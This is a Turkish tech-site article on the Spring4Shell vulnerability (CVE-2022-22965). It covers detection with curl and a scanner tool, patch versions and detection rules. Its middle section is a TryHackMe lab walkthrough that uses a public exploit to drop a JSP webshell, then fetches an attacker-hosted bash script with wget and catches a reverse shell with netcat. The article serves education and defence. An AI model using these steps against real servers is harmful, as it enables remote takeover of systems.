Anasayfa Makale Spring4Shell Nedir? Zafiyet Tespiti ve Sömürü Aşamaları

Spring4Shell Nedir? Zafiyet Tespiti ve Sömürü Aşamaları

spring4shell nedir

Önce Log4Shell, şimdi de Spring4Shell derken güvenlik dünyası bir süredir Java frameworklerindeki zafiyetlerle boğuşuyor. Medyatik anlamda Log4Shell kadar ses getirmese de en az bi’ o kadar tehlikeli olan Spring4Shell nedir, basitçe nasıl istismar edilir ve önlemek için neler yapılmalı bu yazımızda detaylıca değinmeye çalışacağız.

Java uygulamalarında sıklıkla kullanılan framework yapılarından Spring, temelde geliştirme sürecini düzenleyen bir çatı diyebiliriz. MVC web uygulamaları, veri işleme, nesneye dayalı (object-oriented) programlama gibi alanlarda çeşitli modüller geliştirmek için yazılımcılar arasında hafif olması nedeniyle oldukça popüler.

2022’nin Mart ayının sonlarına yakın bir zamanda Spring üzerinde iki adet RCE zafiyeti tam olarak bilinmeyen kişilerce halka açık hale getirildi. Birinci zafiyet frameworkteki Spring Cloud Functions (CVE-2022-22963) adlı bileşiği etkilerken, ikincisi doğrudan yapının kalbi olan Spring Core’u (CVE-2022-22965) hedefliyordu. İkisi de risk söz konusu olduğunda oldukça tehlikeli fakat Core yapısı üzerinde çıkan açıklık potansiyel anlamda saldırılmaya daha elverişli olduğundan araştırmacılar tarafından Spring4Shell adı verildi. Daha sonra CVE-2022-22947 koduyla “Spring Cloud Gateway” üzerinde de üçüncü bir RCE bulundu.

Spring4Shell, Spring Framework kullanılarak geliştirilen uygulamalarda nesnelere çeşitli parametreler bağlama özelliğinin kötüye kullanılmasından meydana gelen bir açıklık diyebiliriz. Saldırgan tarafından gönderilen kötü amaçlı girdilerle hedefte RCE (Remote Code Execution) adı verilen türden kod yürütmek mümkün hale geliyor.

İlk olarak Çinli bir güvenlik araştırmacısı tarafından paylaşılıp daha sonra silinen bir Twitter gönderisinde sıfırıncı gün (zero-day) olarak ortaya çıktığı söylenen Spring4Shell zafiyeti, temelinde daha önce CVE-2010-1622 koduyla bilinen başarısız şekilde yamalanmış ve unutulmuş eski bir açıklığa dayanıyor. CVE-2010-1622 de benzer şekilde gelen HTTP isteklerindeki verilerin işlenme biçimindeki kusurlar nedeniyle hedefte kod çalıştırmaya imkan tanıyordu.

Yamalar çoğu güvenlik açığını kapatmak için işe yarasa da, geliştiriciler tarafından dikkatli ve zafiyetin kesin olarak kapatıldığından emin olunmadan yayınlananlar 12 yıl sonra bile bilişim başına bela olabiliyor.

Şu anlık Microsoft’un yayınladığı dökümana göre aşağıdaki konfigürasyonlara sahip bir yapı kullanıyorsanız tebrikler, nur topu gibi bir yüksek riskli güvenlik açığına sahipsiniz.

  • Java Development Kit’in 9.0 veya daha üst sürümünü çalıştırmak
  • Spring Framework 5.3.0 – 5.3.17, 5.2.0 ve 5.2.19 ila önceki sürümleri kullanıyor olmak
  • Zafiyetli Spring çalıştıran Apache Tomcat kullanıyor olmak

Özetle Java Development Kit 9.0 ve yukarısında Spring Framework veya bu framework’e ait yapılardan birini kullanıyorsanız, istisnalar hariç sisteminiz ne yazık ki Spring4Shell’e karşı savunmasız denilebilir.

Hedef Sistemde Zafiyet Varlığının Tespit Edilmesi

Durumu netleştirmek için cURL yardımıyla hedefe aşağıdaki gibi kötü amaçlı olmayan bir HTTP isteği gönderilip yanıta bakılabilir.

curl ADRES:PORT/YOL?class.module.classLoader.URLs%5B0%5D=0

İlgili HTTP isteğine gelen cevap kodu 400 ise, sistem dışarıdan yapılacak olası Spring4Shell saldırılarına karşı açık demektir. Saldırganlar bunu gördükten sonra PoC (Proof-of Concept / Kavram Kanıtı) olarak paylaşılan exploit yardımıyla sisteme kod yürütmeyi sağlayacak bir “JSP shell” bırakabilirler.

Bir diğer tespit yöntemi olarak ise hedefte otomatik olarak açıklıkları bulan araçlar kullanmak olabilir. Invicti, Acunetix, BurpSuite Pro ve benzeri ücretli araçların son sürümleri web sitelerini crawl edip daha sonra tarayarak daha iyi sonuçlar verse de basit tespitler için FullHunt tarafından open-source olarak yayınlanan ve oldukça kolay olan Spring4Shell-Scan adlı araçtan yararlanılabilir.

1 – Tespit amacıyla web sitesinde tarama yapmak amacıyla aracı internetten indirmemiz gerekiyor. Ben halihazırda Windows 11 kullandığım için anlatımı bu sistem üzerinden gerçekleştireceğim, sizler de aynılarını hangi işletim sistemini kullanıyorsanız orada uygulayabilirsiniz. Herhangi bir sorun olmayacaktır.

GitHub sayfası üzerinden söz konusu yazılımı edinmek için önümüzde iki yol bulunuyor.  ZIP olarak indirmek veya git kullanarak repodan doğrudan çekmek. Bana repodan çekmek daha kolay geldiği için onu tercih ettim.

github Spring4Shell-Scan

Spring4Shell-Scan repo ile kurma

2 – Tarayıcımızı indirdikten hemen sonra bu bir Python 3 programı olduğundan çalışabilmesi için Python 3’ün kendisi ve birtakım bağımlılıklarını kurmamız gerekiyor. Benim sistemimde halihazırda Python 3 yorumlayıcısı olduğu için uğraşmadım, doğrudan pip -r install requirements.txt komutu ile programımızın bağımlılıklarını kuruyorum.

Spring4Shell-Scan

3 – Artık çalıştırabiliriz. python spring4shell.py -h diyerek öncelikle kullanımı hakkında bilgi ediniyorum zira taramayı bu seçenekleri kullanarak hedef üzerinde gerçekleştireceğiz.

4 – Parametrelerimi belirleyip hedef adresimi taramaya başlıyorum. Unutulmaması gereken nokta şu ki, scanner içerisinde bir crawl yapısı olmadığından ne yazık ki web sitenizin tamamını kontrol etmiyor ve sadece verdiğiniz sayfayla yetiniyor. Oysa Spring Framework’ün kullanıldığı başka zafiyetli alanlar pek tabii olabilir. -u hedefi belirtmeye, --test-CVE-2022-22963 ise nispeten daha düşük riskli görülen Spring Cloud Functions zafiyetine yönelik taramaya yapmaya yarıyor. --waf-bypass ile de hedefte herhangi bir “Web Application Firewall” varsa onu atlatmaya yarıyor. Ne kadar işe yaradığı tabii ki şüpheli.

Ben burada technopat.net üzerine bir tarama başlattım, gördüğünüz gibi bizim sitemizde böyle bir açık söz konusu değil, zaten herhangi bir Java teknolojisi kullanmıyoruz.

Spring4Shell-Scan ile technopat.net taraması

Araç çok güzel bir şekilde işini yapsa da amacınız ciddi bir tespitte bulunmaksa Invicti, BurpSuite Pro, Acunetix gibi profesyonel web tarama araçlarını kullanmanızı öneririm.

Sistemlerdeki Zafiyetin İstismar Edilmesi

Bir güvenlik açığının etkisini anlayabilmek için, onun hedef üzerindeki etkilerini görmek teorik anlamda söylenecek her şeyden çok daha öğreticidir. Bu nedenle yazımızın bu kısmını TryHackMe üzerinde yer alan Spring4Shell: CVE-2022-22965 isimli makinenin uygulamalı çözümüne ayırdım.

Bilerek Spring4Shell zafiyetini içeren bir web uygulaması olarak tasarlanan bu makineye öncelikle zafiyeti tespit edecek, daha sonra da yayınlanan exploit yardımıyla erişim sağlayacağız.

Konuya yabancı okurlarımız için ek bir bilgilendirme yapmış olalım, TryHackMe siber güvenlik alanında bildiklerinizi uygulamalı olarak denemenize imkan sağlayan ücretsiz ve oldukça öğretici bir platform. İçerisinde yer alan makineleri ele geçirdikçe veya CTF’leri çözdükçe puan topluyorsunuz. Buradaki sistemler sırf ele geçirelim diye tasarlanmışlar. Yani herhangi bir yasa dışı durum söz konusu değil.

Fazla uzatmadan başlayalım.

1 – Uzak sunucuda bulunan Kali Linux kurulu sistemime SSH bağlantısı yaparak Windows Terminal’den erişim sağlıyorum. Faaliyetlerimi buradan yürüteceğim. Sizin de uygulamaları yapacağınız sistemin illa Kali veya Windows olmasına gerek yok. Ben bu şekilde daha rahat çalıştığım için tercih ediyorum.

Makinemizi TryHackMe üzerinde başlattıktan sonra zafiyetli sistemin olduğu ağa dahil olmak için gereken VPN config’imi edinip bağlantımı sağladım.

Odada bizi verilen 4 görev var. Bunlardan 3’ü teorik ve okuma odaklı olduğu için onları size bırakıyorum. Ben doğrudan uygulamalı olan “Task 3: Practical Exploitation” kısmından başlayacağım. Hedefimizin IP adresi de belli olduğuna göre kontrollerimize başlayabiliriz.

Spring4Shell tespit demosu

2 – Spring4Shell-Scan aracına IP adresini uygun parametrelerle vererek ufak bir tarama yaptırıyorum. Çıkan sonuçlara göre hedefte Spring4Shell açığının var olduğunu görebiliyoruz. Hemen sonrasında ise sömürüde kullanacağımız exploitimi kendi GitHub reposu üzerinden git clone komutu ile çekiyorum.

Spring4Shell-Scan

3 – poc.py bizim hedefte kullanacağımız exploit. python3 poc.py -h diyerek önce nasıl kullanabileceğim hakkında bilgi ediniyor, daha sonrasında python poc.py --url http://10.10.204.71/ ile uyguluyorum. Başarılı olduğumuz için karşı sistemde bizim komut yürütmemize yarayan basit bir JSP webshell oluşturdu. Bağlantıda yer alan whoami komutu da örnek olarak konulmuş. Bunu bir web tarayıcısı kullanarak görüntüleyebiliriz.

4 – Görüldüğü gibi whoami komutunu çalıştırmış ve root cevabını bize döndürmüş. Garanti olsun diye dizindeki dosyaları da ls -la ile listelemeye çalıştığımızda komutların başarıyla yürütüldüğü görülebilir.

5 – Aslında makineyi bitirmek için bu kadarı yeterli zira cat /root/root.txt şeklinde bizden bulmamız istenen “flag” değerini okuyabiliriz. Fakat ben web kabuğundan ziyade daha çok hareket kabiliyetine imkan tanıyan bir “reverse shell” bağlantısı hedeften nasıl alınabilir onu da göstermek istiyorum. Saldırganlar da genellikle işi bir üst noktaya taşımak için bu işlemleri uygulayacaktır.

GNU Nano kullanarak hekir.sh adını verdiğim basit bir dosya oluşturuyorum ve içeriğine reverse shell bağlantısı almama yarayan bir bash kodu yerleştiriyorum. Burada yer alan IP adresi bizim kendi IP adresimiz, 1337 ise bağlantı isteğini alacağımız port. Daha sonra CTRL + S, CTRL + X ile kaydedip çıkabiliriz.

bash reverse shell komutları

6 – Oluşturduğumuz reverse shell almaya yarayan bash scriptini zafiyetli hedefimize çekip çalıştırabilmemiz için de birkaç şey yapmamız gerekiyor.

Hatırlayalım, elimizdeki web shell halihazırda zaten kod yürütmemize imkan tanıyor. Bu sayede öncelikle python3 -m http.server 80 komutunu kullanarak kendi sistemimizde basit bir web sunucusu oluşturabilir ve hemen ardından web kabuğumuza wget http://10.8.198.213/hekir.sh parametresini göndererek dosyamızı hedefimize çekebiliriz.

İşlemlerin hepsini doğru yaptıysanız, açtığımız mini web server’ın loglarında oluşturduğumuz dosyanın zafiyetli makine tarafından bizden indirildiğini göreceksiniz.

Spring4Shell-Scan log

7 – nc -lvnp 1337 diyerek 1337. porttan gelecek istekleri dinlemeye başladıktan sonra artık web kabuğumuzu kullanarak yüklediğimiz dosyayı çalıştırabiliriz. Tarayıcıdan bash hekir.sh parametresini verdiğimiz anda terminalimize reverse shell bağlantımız düşecektir. Artık sistemde istediğinizi daha rahat bir şekilde yapabilirsiniz.

Uygulanabilecek Saldırı Tespit ve Engelleme Yöntemleri

Öncelikle güvenlik açığından etkilendiğinden emin olunan sistemlerin tamamında Spring ve Apache tarafından yayınlanan güncellemeler uygulanmalıdır.

Yalnızca Spring Framework kullananlar 5.3.18 veya 5.2.20, Spring Boot kullananlar ise yamalı framework sürümlerine dayanan 2.5.12 ve 2.6.6 sürümlerine yükseltme yapmaları gerekiyor. Apache Vakfı tarafından da Tomcat üzerinde atak vektörünün çalışmasını engelleyen birtakım düzeltmeler yayınlandı. Ürün ve geliştirme ortamında Tomcat kullananlar 10.0.20, 9.0.62 ve 8.5.78 olmak üzere 3 versiyon için yayınlanan güncellemelerden uygun olanını yapmalılar.

Herhangi bir nedenden ötürü yamaları uygulayamıyorsanız Spring’in resmi blog duyurusunda yer alan önlemleri geçici süreliğine kullanabilirsiniz.

Tespit için kurumsal amaçlı kullanılan birçok SIEM ve detection çözümü açığın ilk günlerinde uygun kurallar yayınladı, bilinen bir yazılım kullanıyorsanız hemen hemen hepsi uygun şekilde Spring4Shell girişimlerini algılayacaktır. VMware Carbon Black 7 Nisan, Microsoft Azure WAF ise 11 Nisan’dan itibaren kolaylıkla tespit ve engelleme yapabiliyor.

Snort kullanan kuruluşlar da Cisco Talos tarafından yazılan 30790, 30791, 30792 30793, 59388 ve 59416 SID kodlu kuralları algılama yapılarına ekleyebilirler. Cisco Talos tarafından düzenli olarak geliştirilen bu kurallara yıllık 29 dolar bir ücret karşılığında ulaşılabilmekte.

Ücretsiz WAF çözümlerinden ModSecurity kullananlar 944130 ve 944250 imzalarını, FortiGate NGFW için 51352, Palo Alto NGFW çözümlerinden yararlananlar ise 92394’ü uygulayabilirler.

Özel olarak SoC ekipleri classLoader geçen istekleri kontrol edecek kurallar da yazabilir.

Ayrıca Spring4Shell ile beraber birtakım başka uygulamalar da dolaylı olarak zafiyetten etkilendi. VMWare Tanzu ürünlerini kullanıyorsanız Spring4Shell kaynaklı açıklıklardan korunmak amacıyla yayınlanan şu güncellemeleri yapmalısınız:

  • VMware Tanzu Application Service for VMs – 2.10 sürümünden 2.13’e
  • VMware Tanzu Operations Manager – 2.8 sürümünden 2.9’a
  • VMware Tanzu Kubernetes Grid Integrated Edition (TKGI) – 1.11’den 1.13’e.

VMWare tarafından yapılan açıklamada TKGI’nin ayrıca UAA adlı bir bileşeni yüzünden etkilendiği ve bu yazılım için ayrıca bir geçici çözüm olduğu, kalıcı çözüm için üzerinde çalıştıkları belirtildi.

Spring4Shell’i Kullanan Aktörler ve Genel Etkisi

360 Security NetLab araştırmacıları tarafından zafiyetin açıklanmasından sonra kurulan honeypot verilerine göre başta ABD (92 adet) ve Hollanda (49 adet) konumlarında olmak üzere birçok ülkede yer alan sunuculardan Spring4Shell için zafiyetli hedefleri tespit amaçlı taramalar çıktığı görüldü. Otomatik botlarla yapıldığı düşünülen sömürü denemelerinde ekseriyetle hedeflere farklı isimlerle web kabukları yüklenilmeye çalışıldı.

spring4shell zafiyetine tarama yapan ip lokasyonları
Spring4Shell zafiyetine dair taramalar yapan sunucuların lokasyonları. – Görsel Kaynağı: 360 Security NetLab

Elde edilen diğer bir ilginç veri ise sistemleri ele geçirmek üzere ilk denemeyi yapan botnet ağı Mirai’nin bir varyantı oldu. Genellikle IoT cihazlarını hedefleyen Mirai, geçtiğimiz dönemlerde oldukça büyük DDoS saldırılarında baş aktör olmuştu. HackForums üyesi Anna-Senpai isimli kullanıcı tarafından kaynak kodları halka açık olarak yayınlanmasından sonra ise tek bir ekip değil aksine çoğu siber saldırganın daha da geliştirip kullanmasıyla botnetler kurduğu bir yazılım haline geldi diyebiliriz.

Bilerek güvenlik açığı barındıracak şekilde tasarlanmış honeypotlara saldırganlar ve botlar en çok “log222.txt” ve “log111.txt” adıyla web kabukları yüklemeye çalıştılar. Buradan da yola çıkarak diyebiliriz ki ayrı ayrı sunuculardan gelen bu otomatik veya manuel saldırıların büyük bir kısmı aynı aktörler tarafından koordine edilmekte.

tehdit aktörlerinin web shell isimleri
Hedeflere yüklenilmeye çalışılan webshell isimleri. – Görsel Kaynağı: 360 Security NetLab

Devlet destekli aktörler ise Log4Shell’in aksine Spring4Shell açıklarını kullanarak bu sefer hedeflere saldırma eğiliminde pek bulunmadılar. Yeni sayılabilecek bir zafiyet olduğu için net bir şeyler diyemesek de, güvenlik araştırmacıları tarafından tespit edilmiş bir bulgu henüz yok. Normal tehdit aktörlerinin bundan ne kadar kazanç sağladığını ve zarar verdiğini anlayabilmek içinse biraz zaman geçmesini beklemek gerekecek.

Sonuç

Bu yazımızda Technopat.net olarak her daim olduğu gibi okurlarımızı doğru bilgilendirmek adına detaylıca araştırmalar yaparak raporvari bir makale derlemesi yapmaya çalıştık. Spring4Shell’in ne olduğunu, neyden kaynaklandığını açıklamanın yanı sıra saldırı, savunma ve tespit yöntemlerine de yazar olarak basitçe değinmeye çalıştım. Teknik detaylara çok boğmadan bütün bilişim sevdalılarının anlayabileceği şekilde yazmak zor olsa da, umarım faydası dokunmuştur. Merak ettikleriniz ve sorularınız varsa yorumlarda belirtebilir, eleştirilerinizi hiç çekinmeden yapabilirsiniz. Esen kalınız.

Sorumluluk Reddi: Yazı boyunca anlatılanların hepsi yalnızca eğitim amaçlıdır ve bilişim profesyonellerine yöneliktir. Bir sistemin nasıl ele geçirilebileceği bilinmeden etkin bir şekilde korumak mümkün olmayacağı için sömürü teknikleri hakkında da bilgiler verilmiştir. Bu bilgilerin kötü niyetli kullanımlarından Technopat.net ve yazar sorumlu tutulamaz.